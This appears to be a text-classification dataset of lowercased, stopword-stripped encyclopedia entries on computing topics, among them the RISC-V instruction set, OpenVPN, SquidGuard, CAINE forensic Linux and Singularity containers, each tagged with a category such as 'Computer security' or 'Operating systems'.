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risc-v risc-v pronounced risk-five open-source hardware instruction set architecture isa based established reduced instruction set computer risc principles project began 2010 university california berkeley many contributors volunteers affiliated university june 2019 version 2.2 user-space isa version 1.11 privileged isa frozen permitting software hardware development proceed debug specification available draft version 0.3 usable new isas usually expensive computer-designers normally afford work free also developing cpu requires design expertise several specialties electronic digital logic compilers operating systems rare find team outside professional engineering organization team normally paid money charged designs therefore commercial vendors computer designs arm holdings mips technologies charge royalties use designs patents copyrights also often require non-disclosure agreements releasing documents describe designs detailed advantages instruction set many cases never describe reasons design choices expense secrecy make development new hardware software much difficult also prevents security audits another result modern high-quality general-purpose computer instruction sets explained available except academic settings risc-v started solve problems goal make practical isa open-sourced usable academically hardware software design without royalties also rationales every part project explained least broadly risc-v authors academic substantial experience computer design risc-v isa direct development series academic computer-design projects originated part aid projects address cost design project started academic research funded darpa order build large continuing community users therefore accumulate designs software risc-v isa designers planned support wide variety practical uses small fast low-power real-world implementations without over-architecting particular microarchitecture need large base contributors part reason risc-v engineered fit many uses therefore many risc-v contributors see project unified community effort term risc dates 1980 knowledge simpler computers could effective design principles widely described simple effective computers always academic interest academics created risc instruction set dlx first edition computer architecture quantitative approach 1990 david patterson author later assisted risc-v. dlx intended educational use academics hobbyists implemented using field-programmable gate arrays commercial success arm cpus versions 2 earlier public-domain instruction set still supported gnu compiler collection gcc popular free-software compiler three open-source cores exist isa manufactured openrisc open-source isa based dlx associated risc designs fully supported gcc linux implementations however commercial implementations krste asanović university california berkeley found many uses open-source computer system 2010 decided develop publish one short three-month project summer plan help academic industrial users david patterson berkeley also aided effort originally identified properties berkeley risc risc-v one long series cooperative risc research projects stage students inexpensively provided initial software simulations cpu designs risc-v authors institution originally provided isa documents several cpu designs bsd licenses allow derivative works—such risc-v chip designs—to either open free closed proprietary early funding darpa commercial users require isa stable utilize product might last many years address issue risc-v foundation formed maintain publish intellectual property related risc-v definition original authors owners surrendered rights foundation designers say instruction set main interface computer lies hardware software good instruction set open available use dramatically reduce cost software permitting far reuse also increase competition among hardware providers use resources design less software support designers assert new principles becoming rare instruction set design successful designs last forty years become increasingly similar failed sponsoring companies failed commercially instruction sets poor technically well-designed open instruction set designed using well-established principles attract long-term support many vendors prior open isas used gnu general public license gpl encouraging users open implementations copying use others unlike academic designs optimized simplicity exposition designers state risc-v instruction set practical computers said features increase computer speed yet reduce cost power use include load–store architecture bit patterns simplify multiplexers cpu simplified standards-based floating-point design architecturally neutral placing most-significant bits fixed location speed sign-extension sign extension said often critical timing path instruction set designed wide range uses supports three word-widths 32 64 128 bits variety subsets definitions subset vary slightly three word-widths subsets support small embedded systems personal computers supercomputers vector processors warehouse-scale rack-mounted parallel computers instruction set variable-width extensible encoding bits always added space 128-bit stretched version isa reserved 60 years industry experience shown unrecoverable error instruction set design lack memory address space 128-bit isa remains undefined intentionally yet little practical experience large memory systems proposals implement variable-width instructions 864-bits risc-v also supports designers academic uses simplicity integer subset permits basic student exercises integer subset simple isa enabling software control research machines variable-length isa enables extensions student exercises research separated privileged instruction set permits research operating system support without redesigning compilers risc-v open intellectual property allows designs published reused modified normal problem new instruction set lack cpu designs software issues limit usability reduce adoption risc-v website specification user-mode instructions preliminary specification general-purpose privileged instruction set support operating systems several open-sourced risc-v cpu designs including 64-bit berkeley order machine boom 64-bit rocket five 32-bit sodor cpu designs berkeley picorv32 clifford wolf scr1 syntacore pulpino riscy zero-riscy eth zürich university bologna others three-stage sodor cpu appears apt small embedded cpu rocket may suit compact low-power intermediate computers personal devices boom uses much infrastructure created rocket may usable personal supercomputer warehouse-scale computers picorv scr1 32-bit microcontroller unit mcu class rv32imc implementations verilog cores pulpino implement simple rv32imc isa micro-controllers zero-riscy powerful rv32imfc isa custom dsp extensions embedded signal processing design software includes design compiler chisel reduce designs verilog use devices website includes verification data testing core implementations available risc-v software tools include gnu compiler collection gcc toolchain gdb debugger llvm toolchain ovpsim simulator library risc-v fast processor models spike simulator simulator qemu operating system support exists linux kernel freebsd netbsd supervisor-mode instructions unstandardized prior june 2019 support provisional preliminary freebsd port risc-v architecture upstreamed february 2016 shipped freebsd 11.0 ports debian fedora stabilizing port das u-boot exists uefi spec v2.7 defined risc-v binding tianocore port done hpe engineers expected upstreamed preliminary port sel4 microkernel simulator exists run risc-v linux system web browser using javascript hex five released first secure iot stack risc-v freertos support also see comparison real-time operating systems risc-v modular design consisting alternative base parts added optional extensions isa base extensions developed collective effort industry research community educational institutions base specifies instructions encoding control flow registers sizes memory addressing logic i.e. integer manipulation ancillaries base alone implement simplified general-purpose computer full software support including general-purpose compiler standard extensions specified work standard bases without conflict many risc-v computers might implement compact extension reduce power consumption code size memory use also future plans support hypervisors virtualization together supervisor instruction set extension rvgc defines instructions needed conveniently support operating system unix-style portable operating system interface posix tame combinations functionality may implemented nomenclature defined specify instruction set base specified first coding risc-v register bit-width variant e.g. rv64i rv32e follows letters specifying implemented extensions canonical order base extended integer floating point calculations synchronisation primitives multi-core computing base extensions mafd considered necessary general-purpose computation thus shorthand g. small 32-bit computer embedded system might rv32ec large 64-bit computer might rv64gc i.e. shorthand rv64imafdc naming scheme zxxx standard extensions yxxx non-standard vendor-specific extensions proposed example ztso extension total store ordering alternative memory consistency model weak memory ordering discussion risc-v 32 16 embedded variant integer registers floating-point extension implemented 32 floating-point registers except memory access instructions instructions address registers first integer register zero register remainder general-purpose registers store zero register effect read always provides 0 using zero register placeholder makes simpler instruction set control status registers exist user-mode programs access used performance measurement floating-point management instructions exist save restore multiple registers thought needless complex perhaps slow like many risc designs risc-v load–store architecture instructions address registers load store instructions conveying memory load store instructions include 12-bit offset two register identifiers one register base register register source write destination read offset added base register get address forming address base register plus offset allows single instructions access data structures example base register points top stack single instructions access subroutine local variables stack likewise load store instructions access record-style structure memory-mapped i/o device using constant zero register base address allows single instructions access memory around address zero memory addressed 8-bit bytes words little-endian order words register size accessed load store instructions accessed memory addresses need aligned word-width accesses aligned addresses may faster example simple cpus may implement unaligned accesses slow software emulation driven alignment failure interrupt risc-v manages memory systems shared cpus threads ensuring thread execution always sees memory operations programmed order threads i/o devices risc-v simplified n't guarantee order memory operations except specific instructions instruction guarantees results predecessor operations visible successor operations threads i/o devices guarantee order combinations memory memory-mapped i/o operations e.g separate memory read write operations without affecting i/o operations system operate i/o devices parallel memory n't force wait one cpu one thread may decode like many risc instruction sets complex instruction set computer cisc instruction sets x86 ibm system/360 families risc-v lacks address-modes write back registers example auto-increment risc-v little-endian resemble familiar successful computers example x86 also reduces cpu complexity costs slightly reads sizes words order example risc-v instruction set decodes starting lowest-addressed byte instruction specification leaves open possibility non-standard big-endian bi-endian systems risc cpus mips powerpc dlx berkeley risc-i place 16 bits offset loads stores set upper 16 bits load upper word instruction permits upper-halfword values set easily without shifting bits however use upper half-word instruction makes 32-bit constants like addresses risc-v uses sparc-like combination 12-bit offsets 20-bit set upper instructions smaller 12-bit offset helps compact 32-bit load store instructions select two 32 registers yet still enough bits support risc-v variable-length instruction coding risc-v handles 32-bit constants addresses instructions set upper 20 bits 32-bit register load upper immediate loads 20 bits bits 31 12 second instruction set bottom 12 bits method extended permit position-independent code adding instruction generates 20 upper address bits adding offset program counter storing result base register permits program generate 32-bit addresses relative program counter base register often used as-is 12-bit offsets loads stores needed set lower 12-bits register 64-bit 128-bit isas sign-extend result get larger address fast cpus may interpret combinations instructions single fused instructions may good candidates fuse loads stores risc-v subroutine call jump link places return address register faster many computer designs saves memory access compared systems push return address directly stack memory 20-bit signed 2 complement offset offset multiplied 2 added pc generate relative address 32-bit instruction result 32-bit address i.e. evenly divisible 4 cpu may force exception risc-v cpus jump calculated addresses using jump link-register instruction similar gets destination address adding 12-bit offset base register contrast adds larger 20-bit offset pc bit format like register-relative loads stores like used instructions set upper 20 bits base register make 32-bit branches either absolute address using pc-relative one using position-independent code using constant zero base address allows single-instruction calls small offset fixed positive negative address risc-v recycles get unconditional 20-bit pc-relative jumps unconditional register-based 12-bit jumps jumps make linkage register 0 return address saved risc-v also recycles return subroutine base register set linkage register saved offset zero linkage register zero offset return address saved like many risc designs subroutine call risc-v compiler must use individual instructions save registers stack start restore stack exit risc-v save multiple restore multiple register instructions thought make cpu complex possibly slow take code space designers planned reduce code size library routines save restore registers risc-v condition code register carry bit designers believed condition codes make fast cpus complex forcing interactions instructions different stages execution choice makes multiple-precision arithmetic complex also numerical tasks need energy instead risc-v short branches perform comparisons equal not-equal less-than unsigned less-than greater-than equal unsigned greater-than equal ten comparison-branch operations implemented six instructions reversing order operands assembler example branch greater done less-than reversed order operands comparing branches twelve-bit signed range jump relative pc risc-v isa requires default branch predictions cpus backward conditional branches predicted taken forward conditional branches predict taken predictions easy decode pipelined cpu branch addresses signed numbers added pc backward branches negative two complement addresses thus one significant bit address forward branches zero significant bit fixed location operation code speed pipeline complex cpus add branch predictors work well even unusual data situations isa manual recommends software optimized avoid branch stalls using default branch predictions reuses significant bit signed relative address hint bit tell whether conditional branch taken hint bits needed operation codes risc-v branches makes bits available branch operation codes simple inexpensive cpus merely follow default predictions still perform well optimizing compilers compilers still perform statistical path optimization desired avoid needless loading branch prediction electronics thus needless pipeline stalls comparing branch codes never used unconditional jumps risc-v support predication conditional execution instructions designers claim cpus without predication easier design optimizing compilers less likely mistakenly use predication used designers claim fast out-of-order cpu designs predication anyway comparison branch conditional code parallel discarding unused path effects also claim even simpler cpus predication less valuable branch prediction prevent stalls associated conditional branches code without predication larger branches also claim compressed instruction set risc-v set c solves problem cases many risc designs included branch delay slot position branch instruction filled instruction executed whether branch taken feature improve performance pipelined cpus absorbing time wasted cpu mispredicts operation conditional branch cpu pipeline stalls risc-v omits branch delay slot complicates multicycle cpus superscalar cpus long pipelines dynamic branch predictors succeeded well enough reduce need delayed branches risc-v segregates math minimal set integer instructions set add subtract shift bit-wise logic comparing-branches simulate risc-v instruction sets software atomic instructions notable exception risc-v currently lacks count leading zero bit-field operations normally used speed software floating-point pure-integer processor integer multiplication instructions set includes signed unsigned multiply divide double-precision integer multiplies divides included multiplies divides produce high word result isa document recommends implementors cpus compilers fuse standardized sequence high low multiply divide instructions one operation possible floating-point instructions set f includes single-precision arithmetic also comparison-branches similar integer arithmetic requires additional set 32 floating-point registers separate integer registers double-precision floating point instructions set generally assume floating-point registers 64-bit i.e. double-width f subset coordinated set quad-precision 128-bit floating-point isa q also defined risc-v computers without floating-point use floating-point software library risc-v cause exceptions arithmetic errors including overflow underflow subnormal divide zero instead integer floating-point arithmetic produce reasonable default values set status bits divide-by-zero discovered one branch division status bits tested operating system periodic interrupt risc-v supports computers share memory multiple cpus threads risc-v standard memory consistency model release consistency loads stores may generally reordered loads may designated acquire operations must precede later memory accesses stores may designated release operations must follow earlier memory accesses base instruction set includes minimal support form instruction enforce memory ordering although sufficient provides acquire provides release combined operations efficient atomic memory operation extension supports two types atomic memory operations release consistency first provides general purpose load-reserved store-conditional instructions performs load tries reserve address thread later store-conditional reserved address performed reservation broken intervening store another source store succeeds zero placed register failed non-zero value indicates software needs retry operation either case reservation released second group atomic instructions perform read-modify-write sequences load optionally load-acquire destination register operation loaded value source register store result may optionally store-release making memory barriers optional permits combining operations optional operations enabled acquire release bits present every atomic instruction risc-v defines nine possible operations swap use source register value directly add bitwise exclusive-or signed unsigned minimum maximum system design may optimize combined operations example destination register swap constant zero load may skipped value stored unmodified since load store may skipped ibm system/370 successors including z/architecture x86 implement compare-and-swap instruction tests conditionally updates location memory location contains expected old value replaces given new value returns indication whether made change however simple load-type instruction usually performed fetch old value classic problem thread reads loads value calculates new value c uses replace c way know whether concurrent activity another thread replaced value b restored algorithms e.g. ones values memory pointers dynamically allocated blocks aba problem lead incorrect results common solution employs double-wide instruction update pointer adjacent counter unfortunately instruction requires special instruction format specify multiple registers performs several reads writes complex bus operation alternative efficient usually requires one memory load minimizing slow memory operations desirable also exact controls accesses memory cell rather assuring bit pattern however unlike permit livelock two threads repeatedly cause instructions fail risc-v guarantees forward progress livelock code follows rules timing sequence instructions 1 must use subset 2 prevent repetitive cache misses code including retry loop must occupy 16 consecutive instructions 3 must include system fence instructions taken backward branches 4 backward branch retry loop must original sequence specification gives examples use subset lock data structure standard risc-v isa specifies instructions 32 bits makes particularly simple implementation like risc processors instruction encoding results larger code size instruction sets compensate risc-v 32-bit instructions actually 30 bits opcode space reserved optional recommended variable-length compressed instruction set rvc includes 16-bit instructions like arm thumb mips16 compressed instructions simply aliases subset larger instructions unlike arm thumb mips compressed set space reserved beginning separate operating mode standard compressed instructions may intermixed freely letter c like thumb-1 mips16 compressed instructions simply alternate encodings aliases selected subset larger instructions compression implemented assembler essential compiler even know prototype rvc tested 2011 prototype code 20 smaller x86 pc mips compressed code 2 larger arm thumb-2 code also substantially reduced needed cache memory estimated power use memory system researcher intended reduce code binary size small computers especially embedded computer systems prototype included 33 frequently used instructions recoded compact 16-bit formats using operation codes previously reserved compressed set compression done assembler changes compiler compressed instructions omitted fields often zero used small immediate values accessed subsets 16 8 registers common often compressible much difference size compared arm thumb set occurred risc-v prototype instructions save restore multiple registers instead compiler generated conventional instructions access stack prototype rvc assembler often converted compressed forms half size however still took code space arm instructions save restore multiple registers researcher proposed modify compiler call library routines save restore registers routines would tend remain code cache thus run fast though probably fast save-multiple instruction standard rvc requires occasional use 32-bit instructions several nonstandard rvc proposals complete requiring 32-bit instructions said higher densities standard rvc another proposal builds claims use less coding range well instruction set smallest embedded cpus set e reduced ways 16 32-bit integer registers supported floating-point instructions supported specification forbids uneconomical floating-point software library must used compressed set c recommended privileged instruction set supports machine mode user mode memory schemes use base-and-bound address relocation discussion occurred microcontroller profile risc-v ease development deeply embedded systems centers faster simple c-language support interrupts simplified security modes simplified posix application binary interface correspondents also proposed smaller non-standard 16-bit rv16e isas several serious proposal would use 16-bit c instructions 8 × 16-bit registers april fools joke proposed practical arrangement utilize 16 × 16-bit integer registers standard eimc isas including 32-bit instructions joke propose bank-switching registers 32-bit cpu would clearly superior risc-v isa includes separate privileged instruction set specification version 1.11 ratified foundation version 1.11 specification supports several types computer systems correspond roughly systems four rings privilege security machine hypervisor supervisor user layer also expected thin layer standardized supporting software communicates more-privileged layer hardware overall plan isa make hypervisor mode orthogonal user supervisor modes basic feature configuration bit either permits supervisor-level code access hypervisor registers causes interrupt accesses bit lets supervisor mode directly handle hardware needed hypervisor simplifies type 2 hypervisor hosted operating system popular mode run warehouse-scale computers support type 1 unhosted hypervisors bit cause accesses interrupt hypervisor bit simplifies nesting hypervisors hypervisor runs hypervisor also said simplify supervisor code letting kernel use hypervisor features kernel code result hypervisor form isa supports five modes machine supervisor user supervisor-under-hypervisor user-under-hypervisor privileged instruction set specification explicitly defines hardware threads harts multiple hardware threads common practice more-capable computers one thread stalled waiting memory others often proceed hardware threads help make better use large number registers execution units fast out-of-order cpus finally hardware threads simple powerful way handle interrupts saving restoring registers required simply executing different hardware thread however hardware thread required risc-v computer thread zero existing control status register definitions support risc-v error memory exceptions small number interrupts systems interrupts specification also defines interrupt controller interrupts always start highest-privileged machine level control registers level explicit forwarding bits route interrupts less-privileged code example hypervisor need include software executes interrupt forward interrupt operating system instead set-up set bits forward interrupt several memory systems supported specification physical-only suited simplest embedded systems also three unix-style virtual memory systems memory cached mass-storage systems virtual memory systems three sizes addresses sized 32 39 48-bits virtual memory systems support 4 kib pages multilevel page-table trees use similar algorithms walk page table trees designed either hardware software page-table walking optionally reduce cost page table walks super-sized pages may leaf pages higher levels system page table tree sv32 two layer page table tree supports 4 mib superpages sv39 three level page table supports 2 mib superpages 1 gib gigapages sv48 required support sv39 also 4-level page table supports 2 mib superpages 1 gib gigapages 512 gib terapages superpages aligned page boundaries next-lowest size page substantial work done produce preliminary though unapproved bit-manipulation b isa risc-v done well bit-manipulation subset aid cryptographic graphic mathematical operations criteria inclusion documented draft compliance rv5 philosophies isa formats substantial improvements code density speed i.e. least 3-for-1 reduction instructions substantial real-world applications including preexisting compiler support version 0.37 included uncontroversial instructions count leading zeros count one bits perform complement shift ones rotate generalized bit-reverse shuffle byte swaps bit extracts deposits bit-manipulation additions compressed set also includes controversial proposal bit-field extract place using nonstandard 48-bit instruction format simple cost-reduced risc-v systems proposal use floating-point registers bits perform parallel single instruction multiple data simd sub-word arithmetic widely used accelerate multimedia digital signal processing isa undefined could resemble pa-risc multimedia instructions multimedia acceleration extensions besides native 64-bit math pa-risc max2 cpu could arithmetic four 16-bit subwords several overflow methods also could move subwords different positions pa-risc max2 intentionally simplified lacked support 8-bit 32-bit subwords 16-bit subword size chosen support digital signal processing tasks instructions inexpensive design build however increased cpu performance digital signal processing tasks 48-fold enabling practical real-time video codecs 1995 proposed vector-processing instruction set may make packed simd set obsolete designers hope enough flexibility cpu implement vector instructions standard processor registers would enable minimal implementations similar performance multimedia isa however true vector coprocessor could execute code higher performance vector-processing proposal conservative flexible design general-purpose mixed-precision vector processor suitable execute compute kernels code would port easily cpus differing vector lengths ideally without recompiling contrast short-vector simd extensions less convenient used x86 arm pa-risc change word-width forces change instruction set expand vector registers case x86 64-bit mmx registers 128-bit streaming simd extensions sse 256-bit advanced vector extensions avx avx-512 result growing instruction set need port working code new instructions risc-v vector isa rather fix vector length architecture instruction available takes requested size sets vector length minimum hardware limit requested size risc-v proposal like cray long-vector design vector 32 vectors length application specifies total vector width requires processor determines vector length provide available on-chip resources takes form instruction four immediate operands specifying number vector registers available width needed total must addressable limit 32 may less application require vector length limited available on-chip storage divided number bytes storage needed entry added hardware limits may also exist turn may permit simd-style implementations outside vector loops application request zero-vector registers saving operating system work preserving context switches vector length architecturally variable designed vary run time also achieve flexibility instruction set likely use variable-width data paths variable-type operations using polymorphic overloading plan reduce size complexity isa compiler recent experimental vector processors variable-width data paths also show profitable increases operations per second speed area lower cost watt longer battery life unlike typical modern graphics processing unit plans provide special hardware support branch predication instead lower cost compiler-based predication used preliminary specification risc-v hardware-assisted debugger debugger use transport system joint test action group jtag universal serial bus usb access debug registers standard hardware debug interface may support either standardized abstract interface instruction feeding exact form abstract interface remains undefined proposals include memory mapped system standardized addresses registers debug devices command register data register accessible communication system correspondents claim similar systems used freescale background debug mode interface bdm cpus arm openrisc aeroflex leon instruction feeding cpu process debug exception execute individual instructions written register may supplemented data-passing register module directly access memory instruction feeding lets debugger access computer exactly software would also minimizes changes cpu adapts many types cpu said especially apt risc-v designed explicitly many types computers data-passing register allows debugger write data-movement loop ram execute loop move data computer speed near maximum speed debug system data channel correspondents say similar systems used mips technologies mips intel quark tensilica xtensa freescale power isa cpus background debug mode interface bdm
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Computer architecture
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bigloo bigloo programming language dialect language lisp implementation language scheme developed french research institute french institute research computer science automation inria oriented toward providing tools effective diverse code generation match performance hand-written c c++ bigloo system contains scheme compiler generate c code java virtual machine jvm .net framework .net bytecode lisp dialects contains interpreter also termed read-eval-print loop repl free open-source software run-time system libraries released gnu lesser general public license lgpl compiler programming tools released gnu general public license gpl bigloo scheme implementation devoted one goal enabling scheme based programming style c ++ usually required hop web application engine roadsend php written bigloo bigloo-lib project contains modules
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Programming language topics
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hardware register digital electronics especially computing hardware registers circuits typically composed flip flops often many characteristics similar memory distinguishing characteristic however also special hardware-related functions beyond ordinary memory depending point view hardware registers like memory additional hardware-related functions memory circuits like hardware registers store data hardware registers used interface software peripherals software writes send information device reads get information device hardware devices also include registers visible software internal use depending complexity modern hardware devices many registers standard integrated circuits typically document externally-exposed registers part electronic component datasheet typical uses hardware registers include reading hardware register peripheral units — computer hardware outside cpu — involves accessing memory-mapped i/o address port-mapped i/o address load store instruction issued processor hardware registers addressed words sometimes use bits word read written register commercial design tools simplify automate memory-mapped register specification code generation hardware firmware hardware verification testing documentation registers read/write read-only write-only write-only registers generally avoided suitable registers cause transient action written store persistent data read 'reset peripheral register may option designs afford gates relatively large logic circuit signal routing needed register data readback atari 2600 games console tia chip however write-only registers make debugging difficult lead read-modify-write problem read/write registers preferred pcs write-only registers made difficult advanced configuration power interface acpi determine device state entering sleep mode order restore state exiting sleep mode hardware registers inside central processing unit cpu called processor registers strobe registers interface normal hardware registers instead storing data trigger action time written rare cases read means signaling registers normally measured number bits hold example 8-bit register 32-bit register designers implement registers wide variety ways including addition programmer-visible registers read written software many chips internal microarchitectural registers used state machines pipelining example registered memory spirit ip-xact dita sidsc xml define standard xml formats memory-mapped registers
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Computer architecture
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squidguard squidguard url redirector software used content control websites users access written plug-in squid uses blacklists define sites access redirected squidguard must installed unix linux computer server computer software filtering extends computers organization including windows macintosh computers originally developed pål baltzersen lars erik håland implemented extended lars erik håland 1990s tele danmark internordia version 1.4 current stable version released 2009 version 1.5 development 2010 new features version 1.4 included optional authentication via mysql database squidguard free software licensed gnu general public license gpl version 2 included many linux distributions including debian opensuse ubuntu url filtering capabilities squidguard depend largely quality blacklists used several options available free lists found shallalist.de université toulouse 1 capitole commercial lists found squidblacklist.org
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Computer security
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openvpn openvpn open-source commercial software implements virtual private network vpn techniques create secure point-to-point site-to-site connections routed bridged configurations remote access facilities uses custom security protocol utilizes ssl/tls key exchange capable traversing network address translators nats firewalls written james yonan published gnu general public license gpl openvpn allows peers authenticate using pre-shared secret keys certificates username/password used multiclient-server configuration allows server release authentication certificate every client using signatures certificate authority uses openssl encryption library extensively well tls protocol contains many security control features openvpn ported embedded several systems example dd-wrt openvpn server function softether vpn multi-protocol vpn server implementation openvpn protocol openvpn uses openssl library provide encryption data control channels lets openssl encryption authentication work allowing openvpn use ciphers available openssl package also use hmac packet authentication feature add additional layer security connection referred hmac firewall creator also use hardware acceleration get better encryption performance support mbed tls available starting version 2.3 openvpn several ways authenticate peers openvpn offers pre-shared keys certificate-based username/password-based authentication preshared secret key easiest certificate-based robust feature-rich version 2.0 username/password authentications enabled without certificates however make use username/password authentications openvpn depends third-party modules openvpn run user datagram protocol udp transmission control protocol tcp transports multiplexing created ssl tunnels single tcp/udp port rfc 3948 udp 2.3.x series openvpn fully supports ipv6 protocol virtual network inside tunnel openvpn applications also establish connections via ipv6 ability work proxy servers including http good working network address translation nat getting firewalls server configuration ability push certain network configuration options clients include ip addresses routing commands connection options openvpn offers two types interfaces networking via universal tun/tap driver create either based ip tunnel tun based ethernet tap carry type ethernet traffic openvpn optionally use lzo compression library compress data stream port 1194 official iana assigned port number openvpn newer versions program default port feature 2.0 version allows one process manage several simultaneous tunnels opposed original one tunnel per process restriction 1.x series openvpn use common network protocols tcp udp makes desirable alternative ipsec situations isp may block specific vpn protocols order force users subscribe higher-priced business grade service tier openvpn uses transmission control protocol tcp transports establish tunnel performance acceptable long sufficient excess bandwidth un-tunneled network link guarantee tunneled tcp timers expire becomes untrue performance falls dramatically known tcp meltdown problem openvpn offers various internal security features 256-bit encryption openssl library although service providers may offer lower rates effectively providing fastest vpn available consumers runs userspace instead requiring ip stack therefore kernel operation openvpn ability drop root privileges use mlockall prevent swapping sensitive data disk enter chroot jail initialization apply selinux context initialization openvpn runs custom security protocol based ssl tls rather support ike ipsec l2tp pptp openvpn offers support smart cards via pkcs 11-based cryptographic tokens openvpn extended third-party plug-ins scripts called defined entry points purpose often extend openvpn advanced logging enhanced authentication username passwords dynamic firewall updates radius integration plug-ins dynamically loadable modules usually written c scripts interface execute scripts binaries available openvpn openvpn source code examples plug-ins including pam authentication plug-in several third-party plug-ins also exist authenticate ldap sql databases sqlite mysql available solaris linux openbsd freebsd netbsd qnx macos windows xp later openvpn available mobile phone operating systems os including maemo windows mobile 6.5 ios 3gs+ devices jailbroken ios 3.1.2+ devices android 4.0+ devices android devices cyanogenmod aftermarket firmware flashed correct kernel module installed compatible mobile phone oses including palm os web-based vpn shown web page citrix terminal services web access program installed independently configured editing text files manually rather gui-based wizard openvpn compatible vpn clients use ipsec l2tp pptp protocols entire package consists one binary client server connections optional configuration file one key files depending authentication method used openvpn integrated several router firmware packages allowing users run openvpn client server mode network routers router running openvpn client mode example allows device network access vpn without needing capability install openvpn notable firmware packages openvpn integration include openvpn implemented manufacturer router firmware d-link dsr-250 mikrotik routers mikrotik implementation support udp protocol lzo compression limits transfer speeds attainable mikrotik said 2010 would continue developing openvpn favor secure socket tunneling protocol sstp openvpn integrated softether vpn open-source multi-protocol vpn server allow users connect vpn server existing openvpn clients openvpn also integrated vyos open-source routing os forked vyatta software router openvpn available two versions
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Computer security
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mayfield paradox mayfield paradox states keep everyone information system requires infinite amount money get everyone onto information system also requires infinite money costs extremes relatively low paradox depicted u-curve cost system vertical axis percentage humanity access system horizontal axis acceptance paradox information security community immediate consistent professional experiences group mayfield paradox points point curve additional security becomes unrealistically expensive conversely point curve becomes unrealistically expensive add additional users based paradox menz brothers developed menz theorems information physical security theorems present two formulas covering access security information systems physical facilities used help determine allocation resources response levels
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Computer security
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aufs aufs short advanced multi-layered unification filesystem implements union mount linux file systems name originally stood anotherunionfs version 2 developed junjiro okajima 2006 aufs complete rewrite earlier unionfs aimed improve reliability performance also introduced new concepts like writable branch balancing improvements – implemented unionfs 2.x branch aufs rejected merging mainline linux code criticized dense unreadable uncommented instead overlayfs merged linux kernel several attempts merge aufs mainline kernel author given aufs included debian jessie ubuntu 16.04 box debian stretch include aufs anymore provides package aufs-dkms auto-compiles aufs kernel module using dell dkms docker originally used aufs container filesystem layers still available one supported storage backends several linux distributions chosen aufs replacement unionfs including
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Computer file systems
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caine linux caine linux stands computer aided investigative environment italian linux live distribution started digital forensics project caine professional open source forensic platform integrates software tools modules along powerful scripts graphical interface environment operational environment designed intent provide forensic professional tools required perform digital forensic investigate process preservation collection examination analysis caine live linux distribution booted removable media flash drive optical disk run memory also installed onto physical virtual system live mode caine operate data storage objects without boot supporting operating system latest version 9.0 boot uefi/uefi+secure legacy bios allowing caine used information systems boot older operating systems e.g windows nt newer platforms linux windows 10 caine based ubuntu 16.04 64-bit using linux kernel 4.4.0-97 caine system requirements run live disc similar ubuntu 16.04 2 ghz dual core processor better 2 gb system memory run physical system virtual machine environment vmware workstation caine linux distribution numerous software applications scripts libraries used graphical command line environment perform forensic tasks caine perform data analysis data objects created microsoft windows linux unix systems one key forensic features version 9.0 sets block devices default read-only mode write-blocking critical methodology ensure disks subject writing operations operating system forensic tools ensures attached data objects modified would negatively impact digital forensic preservation caine provides software tools support database memory forensic network analysis file system image analysis ntfs fat/exfat ext2 ext3 hfs iso 9660 possible via command line graphic desktop examination linux microsoft windows unix platforms built-in caine import disk images raw dd expert witness/advanced file format may obtained using tools included caine another platform encase forensic tool kit tools included caine linux distribution include
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Operating systems
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apple configurator apple configurator application developed apple inc. available free download mac app store first launched march 2012 replaces iphone configuration utility application allows mass-configuration ios devices iphone ipad business educational organizations provides remote management administrator help set maintain standard configuration software across number devices
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Operating systems
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gnu cflow gnu cflow flow graph generator part gnu project reads collection c source files generates c flow graph external references uses sources n't need run program initially implementation unix utility cflow cflow unix command generating c-language flowgraph besides gnu implementations cflow like one tru64 unix
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Programming language topics
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infinispan infinispan distributed cache key-value nosql data store software developed red hat java applications embed library use service wildfly non-java applications use remote service tcp/ip infinispan successor jboss cache project announced 2009 typical use-cases infinispan include infinispan also used academia research framework distributed execution storage
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Operating systems
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tizen association tizen association formerly limo linux mobile foundation non-profit technology consortium organization dedicated creating tizen first truly open hardware-independent linux-based mobile operating system smartphone mobile devices mission limo foundation create open linux-based software platform use industry produce mobile devices balanced transparent contribution process enabling ecosystem differentiated products applications services governance open transparent leadership decision making shared founding members motorola nec ntt docomo panasonic mobile communications samsung electronics vodafone work result limo platform work integrated mobile phone products nec panasonic samsung later combined tizen platform members tizen association phones using limo include end september 2011 announced linux foundation meego totally replaced tizen mobile operating system project 2012 tizen new free open source linux-based operating-system released first quarter 2012 intel samsung collaboration limo foundation assisting meego developers pointed lead development new software platform using third-party developer frameworks primarily built html5 web standards october 2012 limo website traffic redirected tizen.org
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Operating systems
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singularity software singularity free cross-platform open-source computer program performs operating-system-level virtualization also known containerization one main uses singularity bring containers reproducibility scientific computing high-performance computing hpc world need reproducibility requires ability use containers move applications system system using singularity containers developers work reproducible environments choosing design complete environments easily copied executed platforms singularity began open-source project 2015 team researchers lawrence berkeley national laboratory led gregory kurtzer developed initial version released bsd license end 2016 many developers different research facilities joined forces team lawrence berkeley national laboratory development singularity singularity quickly attracted attention computing-heavy scientific institutions worldwide two years row 2016 2017 singularity recognized hpcwire editors one five new technologies watch 2017 singularity also first place category ″best hpc programming tool technology″ 2018 based data entered voluntary basis public registry singularity user base estimated greater 25,000 installations includes users academic institutions ohio state university michigan state university well top hpc centers like texas advanced computing center san diego supercomputer center oak ridge national laboratory singularity able support natively high-performance interconnects infiniband intel omni-path architecture opa similar support infiniband intel opa devices singularity support pcie-attached device within compute node graphic accelerators singularity also native support open mpi library utilizing hybrid mpi container approach openmpi exists inside outside container features make singularity increasingly useful areas machine learning deep learning data-intensive workloads applications benefit high bandwidth low latency characteristics technologies hpc systems traditionally already resource management job scheduling systems place container runtime environments must integrated existing system resource manager using enterprise container solutions like docker hpc systems would require modifications software singularity seamlessly integrates many resource managers including
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Operating systems
